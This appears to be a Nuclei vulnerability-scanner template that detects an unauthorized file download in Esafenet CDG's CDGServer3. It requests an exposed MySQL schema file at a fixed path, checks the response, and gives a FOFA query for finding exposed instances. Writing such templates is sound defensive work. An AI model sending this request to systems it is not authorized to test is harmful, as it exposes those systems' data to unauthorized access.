id: esafenet-mysql-fileread info: name: Esafenet CDG mysql - File Read author: DhiyaneshDk severity: high description: | CDGServer3 Unauthorized File Download vulnerability is detected. metadata: verified: true max-request: 1 fofa-query: title="电子文档安全管理系统" tags: esafenet,lfi,mysql http: - method: GET path: - "{{BaseURL}}/CDGServer3/SQL/MYSQL/create_SmartSec_mysql.sql" max-size: 1000 matchers-condition: and matchers: - type: word part: body words: - "varchar" - "create table" condition: and - type: word part: header words: - "application/x-sql" - type: status status: - 200 # digest: 4a0a0047304502206e45111f238b0ca5c642ce633b8779975d8d33abe9b9fd8b7699276d3d20f713022100bda3649bb78a67a6788cc7c5f816d4625aa7f914198ed2f53d9ecfb589dd40eb:922c64590222798bb761d5b6d8e72950